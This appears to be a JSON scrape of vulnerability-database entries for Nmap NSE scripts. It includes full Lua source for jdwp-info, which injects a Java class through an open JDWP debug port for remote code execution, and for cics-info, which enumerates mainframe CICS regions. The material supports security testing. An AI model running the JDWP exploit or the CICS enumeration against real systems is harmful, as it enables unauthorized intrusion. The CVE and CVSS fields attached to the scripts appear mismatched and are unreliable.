"exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-08-29T03:06:40", "id": "NMAP:JDWP-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/jdwp-info.html", "sourceData": "local io = require \"io\"\nlocal jdwp = require \"jdwp\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\n\ndescription = [[\nAttempts to exploit java's remote debugging port. When remote\ndebugging port is left open, it is possible to inject java bytecode\nand achieve remote code execution. This script injects and execute a\nJava class file that returns remote system information.\n]]\n\nauthor = \"Aleksandar Nikolic\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\",\"safe\",\"discovery\"}\n\n---\n-- @usage nmap -sT <target> -p <port> --script=+jdwp-info\n-- @output\n-- PORT STATE SERVICE REASON\n-- 2010/tcp open search syn-ack\n-- | jdwp-info:\n-- | Available processors: 1\n-- | Free memory: 15331736\n-- | File system root: A:\\\n-- | Total space (bytes): 0\n-- | Free space (bytes): 0\n-- | File system root: C:\\\n-- | Total space (bytes): 42935926784\n-- | Free space (bytes): 29779054592\n-- | File system root: D:\\\n-- | Total space (bytes): 0\n-- | Free space (bytes): 0\n-- | Name of the OS: Windows XP\n-- | OS Version : 5.1\n-- | OS patch level : Service Pack 3\n-- | OS Architecture: x86\n-- | Java version: 1.7.0_01\n-- | Username: user\n-- | User home: C:\\Documents and Settings\\user\n-- |_ System time: Sat Aug 11 15:21:44 CEST 2012\n\nportrule = function(host, port)\n -- JDWP will close the port if there is no valid handshake within 2\n -- seconds, Service detection's NULL probe detects it as tcpwrapped.\n return port.service == \"tcpwrapped\"\n and port.protocol == \"tcp\" and port.state == \"open\"\n and not(shortport.port_is_excluded(port.number,port.protocol))\nend\n\naction = function(host, port)\n stdnse.sleep(5) -- let the remote socket recover from connect() scan\n local status,socket = jdwp.connect(host,port) -- initialize the connection\n if not status then\n stdnse.debug1(\"error, %s\",socket)\n return nil\n end\n\n -- read .class file\n local file = io.open(nmap.fetchfile(\"nselib/data/jdwp-class/JDWPSystemInfo.class\"), \"rb\")\n local class_bytes = file:read(\"a\")\n\n -- inject the class\n local injectedClass\n status,injectedClass = jdwp.injectClass(socket,class_bytes)\n if not status then\n stdnse.debug1(\"Failed to inject class\")\n return stdnse.format_output(false, \"Failed to inject class\")\n end\n -- find injected class method\n local runMethodID = jdwp.findMethod(socket,injectedClass.id,\"run\",false)\n\n if runMethodID == nil then\n stdnse.debug1(\"Couldn't find run method\")\n return stdnse.format_output(false, \"Couldn't find run method.\")\n end\n\n -- invoke run method\n local result\n status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)\n if not status then\n stdnse.debug1(\"Couldn't invoke run method\")\n return stdnse.format_output(false, result)\n end\n -- get the result string\n local stringID = string.unpack(\">x I8\",result)\n status,result = jdwp.readString(socket,0,stringID)\n -- parse results\n return stdnse.format_output(status,result)\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:46:32", "description": "Using the CICS transaction CEMT, this script attempts to gather information about the current CICS transaction server region. It gathers OS information, Datasets (files), transactions and user ids. Based on CICSpwn script by Ayoub ELAASSAL.\n\n## Script Arguments \n\n#### cics-info.trans \n\nInstead of gathering all transaction IDs supplying a name here will make the script only look up one transaction ID\n\n#### cics-info.pass \n\nPassword to use if access to CEMT requires authentication\n\n#### cics-info.cemt \n\nCICS Transaction ID to be used. Default is `CEMT`\n\n#### cics-info.user \n\nUsername to use if access to CEMT requires authentication\n\n#### cics-info.commands \n\nCommand used to access cics. Default is `cics`\n\n## Example Usage \n \n \n nmap --script=cics-info -p 23 <targets>\n \n nmap --script=cics-info --script-args cics-info.commands='logon applid(coolcics)',\n cics-info.user=test,cics-info.pass=test,cics-info.cemt='ZEMT',\n cics-info.trans=CICA -p 23 <targets>\n \n\n## Script Output \n \n \n PORT STATE SERVICE VERSION\n 23/tcp open tn3270 IBM Telnet TN3270 (TN3270E)\n | cics-info:\n | Security: Disabled\n | System:\n | z/OS Version: 02.01.00\n | CICS Version: 05.02.00\n | System ID: CICS\n | Application ID: CICSFAKE\n | Default User: USERCICS\n | Datasets:\n | CICS.FILEA\n | HLQ123.CICS.DFHCSD\n | HLQ123.CICS.DFHLRQ\n | Libraries:\n | HLQ123.CICS.SDFHLOAD\n | Users:\n | USERCICS\n | Transaction / Program:\n | AADD / DFH$AALL\n | ABRW / DFH$ABRW\n | AINQ / DFH$AALL\n | AMNU / DFH$AMNU\n | AORD / DFH$AREN\n | AORQ / DFH$ACOM\n | AREP / DFH$AREP\n | AUPD / DFH$AALL\n | CADP / DFHDPLU\n ...\n | CEDX / DFHEDFP\n | CEGN / DFHCEGN\n | CEHP / DFHCHS\n | CEHS / DFHCHS\n | CEJR / DFHEJITL\n | CEMN / DFHCEMNA\n | CEMT / DFHEMTP\n | CEOT / DFHEOTP\n | CXRT / DFHCRT\n | DSNC / DFHD2CM1\n\n## Requires \n\n * [stdnse](<../lib/stdnse.html>)\n * [shortport](<../lib/shortport.html>)\n * [stringaux](<../lib/stringaux.html>)\n * [tn3270](<../lib/tn3270.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-03-01T20:41:18", "type": "nmap", "title": "cics-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2019-06-27T19:13:41", "id": "NMAP:CICS-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/cics-info.html", "sourceData": "local stdnse = require \"stdnse\"\nlocal shortport = require \"shortport\"\nlocal stringaux = require \"stringaux\"\nlocal tn3270 = require \"tn3270\"\nlocal table = require \"table\"\n\n\ndescription = [[\nUsing the CICS transaction CEMT, this script attempts to gather information\nabout the current CICS transaction server region. It gathers OS information,\nDatasets (files), transactions and user ids. Based on CICSpwn script by\nAyoub ELAASSAL.\n]]\n\n---\n-- @args cics-info.commands Command used to access cics. Default is <code>cics</code>\n-- @args cics-info.cemt CICS Transaction ID to be used. Default is <code>CEMT</code>\n-- @args cics-info.trans Instead of gathering all transaction IDs supplying a name here\n-- will make the script only look up one transaction ID\n-- @args cics-info.user Username to use if access to CEMT requires authentication\n-- @args cics-info.pass Password to use if access to CEMT requires authentication\n--\n-- @usage\n-- nmap --script=cics-info -p 23 <targets>\n--\n-- nmap --script=cics-info --script-args cics-info.commands='logon applid(coolcics)',\n-- cics-info.user=test,cics-info.pass=test,cics-info.cemt='ZEMT',\n-- cics-info.trans=CICA -p 23 <targets>\n--\n-- @output\n-- PORT STATE SERVICE VERSION\n-- 23/tcp open tn3270 IBM Telnet TN3270 (TN3270E)\n-- | cics-info:\n-- | Security: Disabled\n-- | System:\n-- | z/OS Version: 02.01.00\n-- | CICS Version: 05.02.00\n-- | System ID: CICS\n-- | Application ID: CICSFAKE\n-- | Default User: USERCICS\n-- | Datasets:\n-- | CICS.FILEA\n-- | HLQ123.CICS.DFHCSD\n-- | HLQ123.CICS.DFHLRQ\n-- | Libraries:\n-- | HLQ123.CICS.SDFHLOAD\n-- | Users:\n-- | USERCICS\n-- | Transaction / Program:\n-- | AADD / DFH$AALL\n-- | ABRW / DFH$ABRW\n-- | AINQ / DFH$AALL\n-- | AMNU / DFH$AMNU\n-- | AORD / DFH$AREN\n-- | AORQ / DFH$ACOM\n-- | AREP / DFH$AREP\n-- | AUPD / DFH$AALL\n-- | CADP / DFHDPLU\n-- ...\n-- | CEDX / DFHEDFP\n-- | CEGN / DFHCEGN\n-- | CEHP / DFHCHS\n-- | CEHS / DFHCHS\n-- | CEJR / DFHEJITL\n-- | CEMN / DFHCEMNA\n-- | CEMT / DFHEMTP\n-- | CEOT / DFHEOTP\n-- | CXRT / DFHCRT\n-- | DSNC / DFHD2CM1\n\n-- @changelog\n-- 2017-01-30 - v0.1 - created by Soldier of Fortran\n\nauthor = \"Philip Young aka Soldier of Fortran\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"safe\"}\nportrule = shortport.port_or_service({23,992}, \"tn3270\")\n\n\n\n--- Gathers CICS transaction server information\n--\n-- @param host host NSE object\n-- @param port port NSE object\n-- @param user CICS userID\n-- @param pass CICS userID password\n-- @param commands optional script-args of commands to use to get to CICS\n-- @param cemt transaction ID to use instead of CEMT\n-- @param trans transaction ID to check instead of gathering all\n-- @return Status boolean true if CICS was detected.\n-- @return Table of information or error message\n\nlocal function cics_info( host, port, commands, user, pass, cemt, trans )\n stdnse.debug(\"Checking for CICS\")\n local tn = tn3270.Telnet:new()\n local status, err = tn:initiate(host,port)\n local msg = 'Unable to get to CICS'\n local more = true\n local count = 1\n local results = stdnse.output_table()\n if not status then\n stdnse.debug(\"Could not initiate TN3270: %s\", err )\n return false, msg\n end\n tn:get_screen_debug(2) -- prints TN3270 screen to debug\n stdnse.debug(\"Getting to CICS\")\n local run = stringaux.strsplit(\";%s*\", commands)\n for i = 1, #run do\n stdnse.debug(1,\"Issuing Command (#%s of %s): %s\", i, #run ,run[i])\n tn:send_cursor(run[i])\n tn:get_all_data()\n tn:get_screen_debug(2)\n end\n tn:get_all_data()\n tn:get_screen_debug(2) -- for debug purposes\n -- we should technically be at CICS. So we send:\n -- * F3 to exit the CICS program\n -- * CLEAR (a tn3270 command) to clear the screen.\n -- (you need to clear before sending a transaction ID)\n -- * a known default CICS transaction ID with predictable outcome\n -- (CESF with 'Sign-off is complete.' as the result)\n -- to confirm that we were in CICS. If so we return true\n -- otherwise we return false\n local count = 1\n while not tn:isClear() and count < 6 do\n -- some systems will just kick you off others are slow in responding\n -- this loop continues to try getting out of CESL 6 times. If it can't\n -- then we probably weren't in CICS to begin with.\n if tn:find(\"Signon\") then\n stdnse.debug(2,\"Found CESL/CESN 'Signon' sending PF3\")\n tn:send_pf(3)\n tn:get_all_data()\n end\n tn:get_all_data()\n stdnse.debug(2,\"Clearing the Screen\")\n tn:send_clear()\n tn:get_all_data()\n tn:get_screen_debug(2)\n count = count + 1\n end\n if count == 6 then\n return false, msg\n end\n stdnse.debug(2,\"Sending CESF (CICS Default Sign-off)\")\n tn:send_cursor('CESF')\n tn:get_all_data()\n if tn:isClear() then\n tn:get_all_data(1000)\n end\n tn:get_screen_debug(2)\n\n if not tn:find('off is complete.') then\n return false, 'Unable to get to CICS. Try --script-args cics-info.commands=\"logon applid(<applid>)\"'\n end\n\n\n if user and pass then -- We're doing authenticated CICS testing now baby!\n stdnse.verbose(2,'Logging in with %s / %s for auth testing', user, pass)\n tn:send_clear()\n tn:get_all_data()\n tn:get_screen_debug(2)\n tn:send_cursor('CESN')\n tn:get_all_data()\n tn:get_screen_debug(2)\n local fields = tn:writeable() -- Get the writeable field areas\n local user_loc = {fields[1][1],user} -- This is the 'UserID:' field\n local pass_loc = {fields[3][1],pass} -- This is the 'Password:' field ([2] is a group ID)\n stdnse.verbose('Trying CICS: %s : %s', user, pass)\n tn:send_locations({user_loc,pass_loc})\n tn:get_all_data()\n stdnse.debug(2,\"Screen Received for User ID: %s / %s\", user, pass)\n tn:get_screen_debug(2)\n count = 1\n while not tn:find('DFHCE3549') and count < 6 do\n tn:get_all_data(1000) -- loop for 6 seconds\n tn:get_screen_debug(2)\n count = count + 1\n end\n if not tn:find('DFHCE3549') then\n msg = 'Unable to access CICS with User: '..user..' / Pass: '..pass\n return false, msg\n end\n end\n -- By now it's time to start trying to gather information\n tn:send_clear()\n tn:get_all_data()\n tn:send_cursor('CESN')\n tn:get_all_data()\n tn:get_screen_debug(2)\n\n results[\"Security\"] = tn:find('DFHCE3547') and \"Enabled\" or \"Disabled\"\n stdnse.debug(2,\"Sending F3\")\n tn:send_pf(3)\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.debug(2,\"Sending 'Clear Screen'\")\n tn:send_clear()\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.verbose(2,\"Sending 'CEMT INQUIRE SYSTEM'\")\n tn:send_cursor('CEMT INQUIRE SYSTEM')\n tn:get_all_data()\n tn:get_screen_debug(2)\n if tn:find('DFHAC2002') then\n results[\"Error\"] = 'CEMT Access Denied.'\n return true, results\n elseif tn:find('NOT AUTHORIZED') then\n results[\"System\"] = \"CEMT 'INQUIRE SYSTEM' Access Denied.\"\n else\n local sysresults = stdnse.output_table()\n local l1, l2 = tn:find('Oslevel')\n local oslevel = tn:get_screen_raw():sub(l2+2,l2+7)\n l1, l2 = tn:find('Cicstslevel')\n local cicstslevel = tn:get_screen_raw():sub(l2+2,l2+7)\n l1, l2 = tn:find('Dfltuser')\n local Dfltuser = tn:get_screen_raw():sub(l2+2,l2+10)\n local Dfltuser_len = Dfltuser:find(')')\n l1, l2 = tn:find('Db2conn')\n local Db2conn = tn:get_screen_raw():sub(l2+2,l2+10)\n local Db2conn_len = Db2conn:find(')')\n l1, l2 = tn:find('Mqconn')\n local Mqconn = tn:get_screen_raw():sub(l2+2,l2+10)\n local Mqconn_len = Mqconn:find(')')\n l1, l2 = tn:find('SYSID')\n local SYSID = tn:get_screen_raw():sub(l2+2,l2+10)\n local SYSID_len = SYSID:find('\\00')\n l1, l2 = tn:find('APPLID')\n local APPLID = tn:get_screen_raw():sub(l2+2,l2+10)\n local APPLID_len = APPLID:find('\\00')\n sysresults[\"z/OS Version\"] = (\"%s.%s.%s\"):format( oslevel:sub(1,2),oslevel:sub(3,4),oslevel:sub(5,6) )\n sysresults[\"CICS Version\"] = (\"%s.%s.%s\"):format( cicstslevel:sub(1,2),cicstslevel:sub(3,4),cicstslevel:sub(5,6) )\n sysresults[\"System ID\"] = SYSID:sub(1,SYSID_len-1)\n sysresults[\"Application ID\"] = APPLID:sub(1,APPLID_len-1)\n sysresults[\"Default User\"] = Dfltuser:sub(1,Dfltuser_len-1)\n if Db2conn_len > 1 then\n sysresults[\"DB2 Connection\"] = Db2conn:sub(1,Db2conn_len-1)\n end\n if Mqconn_len > 1 then\n sysresults[\"MQ Connection\"] = Mqconn:sub(1,Mqconn_len-1)\n end\n results[\"System\"] = sysresults\n end -- Done with INQUIRE SYSTEM\n\n stdnse.debug(2,\"Sending F3\")\n tn:send_pf(3)\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.debug(2,\"Sending 'Clear Screen'\")\n tn:send_clear()\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.verbose(2,\"Sending 'CEMT INQUIRE DSNAME'\")\n tn:send_cursor('CEMT INQUIRE DSNAME')\n tn:get_all_data()\n tn:get_screen_debug(2)\n\n if tn:find('NOT AUTHORIZED') then\n results[\"Datasets\"] = \"CEMT 'INQUIRE DSNAME' Access Denied.\"\n else\n local datasets = {}\n while more do\n more = false\n for line in tn:get_screen():gmatch(\"[^\\r\\n]+\") do\n if line:find('Dsn') then\n table.insert(datasets,line:sub(line:find('%(')+1, line:find(')')-1):match( \"(.-)%s*$\" ))\n if count >= 9 and line:find('+') then\n more = true\n count = 1\n stdnse.debug(2,\"Sending F11\")\n tn:send_pf(11)\n tn:get_all_data()\n tn:get_screen_debug(2)\n else\n count = count + 1\n end\n end\n end\n end\n results[\"Datasets\"] = datasets\n end -- Done with DSNAME\n\n stdnse.debug(2,\"Sending F3\")\n tn:send_pf(3)\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.debug(2,\"Sending 'Clear Screen'\")\n tn:send_clear()\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.verbose(2,\"Sending 'CEMT INQUIRE LIBRARY'\")\n tn:send_cursor('CEMT INQUIRE LIBRARY')\n tn:get_all_data()\n tn:get_screen_debug(2)\n\n if tn:find('NOT AUTHORIZED') then\n results[\"Libraries\"] = \"CEMT 'INQUIRE LIBRARY' Access Denied.\"\n else\n local libraries = {}\n for line in tn:get_screen():gmatch(\"[^\\r\\n]+\") do\n if line:find('Dsname') then\n table.insert(libraries,line:sub(line:find('%(')+1, line:find(')')-1):match( \"(.-)%s*$\" ))\n end\n end\n results[\"Libraries\"] = libraries\n end -- Done with Library\n\n stdnse.debug(2,\"Sending F3\")\n tn:send_pf(3)\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.debug(2,\"Sending 'Clear Screen'\")\n tn:send_clear()\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.verbose(2,\"Sending 'CEMT INQUIRE TASK'\")\n tn:send_cursor('CEMT INQUIRE TASK')\n tn:get_all_data()\n tn:get_screen_debug(2)\n\n if tn:find('NOT AUTHORIZED') then\n results[\"Users\"] = \"CEMT 'INQUIRE TASK' Access Denied.\"\n else\n count = 1\n more = true\n local users = {}\n while more do\n more = false\n for line in tn:get_screen():gmatch(\"[^\\r\\n]+\") do\n if line:find('Use') then\n table.insert(users,line:sub(line:find('Use')+4, line:find(')',line:find('Use'))-1):match( \"(.-)%s*$\" ))\n if count >= 9 and line:find('+') then\n more = true\n count = 1\n stdnse.debug(2,\"Sending F11\")\n tn:send_pf(11)\n tn:get_all_data()\n tn:get_screen_debug(2)\n else\n count = count + 1\n end\n end\n end\n end\n results[\"Users\"] = users\n end -- End of TASK\n\n stdnse.debug(2,\"Sending F3\")\n tn:send_pf(3)\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.debug(2,\"Sending 'Clear Screen'\")\n tn:send_clear()\n tn:get_all_data()\n tn:get_screen_debug(2)\n stdnse.verbose(2,\"Sending 'CEMT INQUIRE TRANSACTION(\".. trans ..\") en'\")\n tn:send_cursor('CEMT INQUIRE TRANSACTION('.. trans ..') en')\n tn:get_all_data()\n tn:get_screen_debug(2)\n\n if tn:find('NOT AUTHORIZED') then\n results[\"Transaction / Program\"] = \"CEMT 'INQUIRE TRANSACION' Access Denied.\"\n else\n local transactions = {}\n count = 1\n more = true\n local tra, pro = ''\n while more do\n more = false\n for line in tn:get_screen():gmatch(\"[^\\r\\n]+\") do\n if line:find('Tra%(') then\n tra = line:sub(line:find('%(')+1,line:find(')')-1)\n pro = line:sub(line:find('Pro%(')+4,line:find(')',line:find('Pro%('))-1)\n table.insert(transactions,tra..' / '..pro)\n if count >= 9 and line:find('+') then\n more = true\n count = 1\n stdnse.debug(2,\"Sending F11\")\n tn:send_pf(11)\n tn:get_all_data()\n tn:get_screen_debug(2)\n else\n count = count + 1\n end\n end\n end\n end\n results[\"Transaction / Program\"] = transactions\n end -- Done with Transaction IDs\n tn:disconnect()\n return true, results\nend\n\n\naction = function(host, port)\n local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') or 'cics'-- VTAM commands/macros to get to CICS\n local username = stdnse.get_script_args(SCRIPT_NAME .. '.user') or nil\n local password = stdnse.get_script_args(SCRIPT_NAME .. '.pass') or nil\n if (username or password) and not (username and password) then\n stdnse.verbose1(\"Both 'user' and 'pass' are required for CICS auth\")\n end\n local CEMT = stdnse.get_script_args(SCRIPT_NAME .. '.cemt') or 'cemt' -- to supply a different transaction ID if they've changed it\n local transaction = stdnse.get_script_args(SCRIPT_NAME .. '.trans') or '*'\n local status, results = cics_info(host, port, commands, username, password, CEMT, transaction)\n -- Report results. Only report an error if\n -- script args were set or the service is definitely TN3270\n if status or username or password or port.service == \"tn3270\" then\n return results\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:38:11", "description": "Prints a list of ports found in each state. \n\nNmap ordinarily summarizes \"uninteresting\" ports as \"Not shown: 94 closed ports, 4 filtered ports\" but users may want to know which ports were filtered vs which were closed. This script will expand these summaries into a list of ports and port ranges that were found in each state.\n\n## Example Usage \n \n \n nmap -sV --script=port-states <target>\n\n## Script Output \n \n \n Host script results:\n | port-states:\n | tcp:\n | open: 22,631\n | closed: 7,9,13,21,23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024\n | udp:\n | open|filtered: 68,631,5353\n |_ closed: 7,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024\n \n\n## Requires \n\n * [table](<>)\n * [nmap](<../lib/nmap.html>)\n * [stdnse](<../lib/stdnse.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2020-11-16T21:41:46", "type": "nmap", "title": "port-states NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2020-11-16T21:41:46", "id": "NMAP:PORT-STATES.NSE", "href": "https://nmap.org/nsedoc/scripts/port-states.html", "sourceData": "local table = require \"table\"\nlocal nmap = require \"nmap\"\nlocal stdnse = require \"stdnse\"\n\ndescription = [[\nPrints a list of ports found in each state.\n\nNmap ordinarily summarizes \"uninteresting\" ports as \"Not shown: 94 closed\nports, 4 filtered ports\" but users may want to know which ports were filtered\nvs which were closed. This script will expand these summaries into a list of\nports and port ranges that were found in each state.\n]]\n\n---\n-- @output\n-- Host script results:\n-- | port-states:\n-- | tcp:\n-- | open: 22,631\n-- | closed: 7,9,13,21,23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024\n-- | udp:\n-- | open|filtered: 68,631,5353\n-- |_ closed: 7,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024\n--\n-- @xmloutput\n-- <table key=\"tcp\">\n-- <elem key=\"open\">22,631</elem>\n-- <elem key=\"closed\">7,9,13,21,23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024</elem>\n-- </table>\n-- <table key=\"udp\">\n-- <elem key=\"open|filtered\">68,631,5353</elem>\n-- <elem key=\"closed\">7,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024</elem>\n-- </table>\n\nauthor = \"Daniel Miller\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = { \"safe\" }\n\n-- the hostrule iterates over open ports for the host\nhostrule = function() return true end\n\nlocal states = {\n \"open\",\n \"open|filtered\",\n \"filtered\",\n \"unfiltered\",\n \"closed\",\n \"closed|filtered\"\n}\nlocal protos = {\n \"tcp\", \"udp\", \"sctp\"\n}\n\naction = function(host)\n local out = stdnse.output_table()\n for _, p in ipairs(protos) do\n local proto_out = stdnse.output_table()\n for _, s in ipairs(states) do\n local t = {}\n local port = nmap.get_ports(host, nil, p, s)\n while port do\n local rstart = port.number\n local prev\n repeat\n prev = port.number\n port = nmap.get_ports(host, port, p, s)\n if not port then break end\n until (port.number > prev + 1)\n if prev > rstart then\n t[#t+1] = (\"%d-%d\"):format(rstart, prev)\n else\n t[#t+1] = tostring(rstart)\n end\n end\n if #t > 0 then\n proto_out[s] = table.concat(t, \",\")\n end\n end\n if #proto_out > 0 then\n out[p] = proto_out\n end\n end\n if #out > 0 then\n return out\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:32:34", "description": "Retrieves some basic information, including protocol version from a Vuze filesharing node. \n\nAs Vuze doesn't have a default port for its DHT service, this script has some difficulties in determining when to run. Most scripts are triggered by either a default port or a fingerprinted service. To get around this, there are two options: 1\\. Always run a version scan, to identify the vuze-dht service in order to trigger the script. 2\\. Force the script to run against each port by setting the argument vuze-dht-info.allports\n\n## Script Arguments \n\n#### vuze-dht-info.allports \n\nif set runs this script against every open port\n\n## Example Usage \n \n \n nmap -sU -p <port> <ip> --script vuze-dht-info -sV\n \n\n## Script Output \n \n \n PORT STATE SERVICE VERSION\n 17555/udp open vuze-dht Vuze\n | vuze-dht-info:\n | Transaction id: 9438865\n | Connection id: 0xFF79A77B4592BDB0\n | Protocol version: 50\n | Vendor id: Azureus (0)\n | Network id: Stable (0)\n |_ Instance id: 2260473691\n \n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [vuzedht](<../lib/vuzedht.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": 